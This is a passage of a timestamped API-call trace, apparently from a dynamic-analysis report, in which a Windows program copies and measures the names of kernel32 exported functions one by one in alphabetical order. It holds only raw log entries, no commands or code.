[0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0138.678] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0138.678] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0138.678] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0138.678] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0138.678] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0138.678] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0138.678] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0138.678] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0138.678] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0138.678] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0138.678] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0138.678] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0138.678] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0138.678] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0138.678] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0138.678] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0138.678] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0138.679] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0138.679] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0138.679] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0138.679] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0138.679] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0138.679] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0138.679] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0138.679] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0138.679] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0138.679] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0138.679] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0138.679] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0138.679] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0138.679] lstrlenA (lpString="BACKUPREAD") returned 10 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0138.679] lstrlenA (lpString="BACKUPSEEK") returned 10 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0138.679] lstrlenA (lpString="BACKUPWRITE") returned 11 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0138.679] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0138.679] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0138.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0138.679] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0138.680] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0138.680] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0138.680] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0138.680] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0138.680] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0138.680] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0138.680] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0138.680] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0138.680] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0138.680] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0138.680] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0138.680] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0138.680] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0138.680] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0138.680] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0138.680] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0138.680] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0138.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0138.680] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0138.681] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0138.681] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0138.681] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0138.681] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0138.681] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0138.681] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0138.681] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0138.681] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0138.681] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0138.681] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0138.681] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0138.681] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0138.681] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0138.681] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0138.681] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0138.681] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0138.681] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0138.681] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0138.681] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0138.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0138.681] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0138.682] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0138.682] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0138.682] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0138.682] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0138.682] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0138.682] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0138.682] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0138.682] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0138.682] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0138.682] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0138.682] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0138.682] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0138.682] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0138.682] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0138.682] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0138.682] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0138.682] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0138.682] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0138.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0138.682] lstrlenA (lpString="BEEP") returned 4 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0138.683] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0138.683] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0138.683] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0138.683] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0138.683] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0138.683] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0138.683] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0138.683] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0138.683] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0138.683] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0138.683] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0138.683] lstrlenA (lpString="CANCELIO") returned 8 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0138.683] lstrlenA (lpString="CANCELIOEX") returned 10 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0138.683] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0138.683] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0138.683] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0138.683] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0138.683] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0138.683] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0138.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0138.683] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0138.684] lstrlenA (lpString="CHECKELEVATION") returned 14 [0138.684] lstrcpyA (in: 